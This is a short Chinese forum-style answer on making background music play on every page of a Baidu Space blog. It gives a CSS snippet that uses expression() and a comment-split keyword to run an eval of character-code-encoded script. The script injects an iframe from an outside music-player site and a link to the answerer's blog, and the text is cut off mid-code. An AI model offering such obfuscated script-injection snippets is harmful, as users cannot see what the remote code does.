为什么我的百度空间只有在主页的时候才能自动播放歌曲啊?

背景音乐只支持主页,其他页面无法欣赏,可以自己加载播放器.

加入以下代码
body{mimimoPlayer:expr/*mimimoPlayer*/ession(eval(String.fromCharCode(118,97,114,32,109,105,109,105,109,111,80,108,97,121,101,114,59,13,10,109,105,109,105,109,111,80,108,97,121,101,114,61,39,60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,114,117,115,115,105,97,110,45,99,104,105,110,101,115,101,46,99,111,109,47,109,117,115,105,99,112,108,97,121,101,114,47,115,101,108,102,95,114,117,110,46,104,116,109,32,102,114,97,109,101,98,111,114,100,101,114,61,48,32,104,101,105,103,104,116,61,51,48,32,119,105,100,116,104,61,49,48,48,37,32,115,99,114,111,108,108,105,110,103,61,110,111,62,60,47,105,102,114,97,109,101,62,60,98,114,47,62,60,97,32,104,114,101,102,61,104,116,116,112,58,47,47,104,105,46,98,97,105,100,117,46,99,111,109,47,109,105,109,105,109,111,47,98,108,111,103,47,105,116,101,109,47,50,57,52,48,57,52,56,102,54,53,54,54,57,57,102,97,53,49,51,100,57,50,97,98,46,104,116,109,108,62,73,110,115,101,114,116,32,116,104,1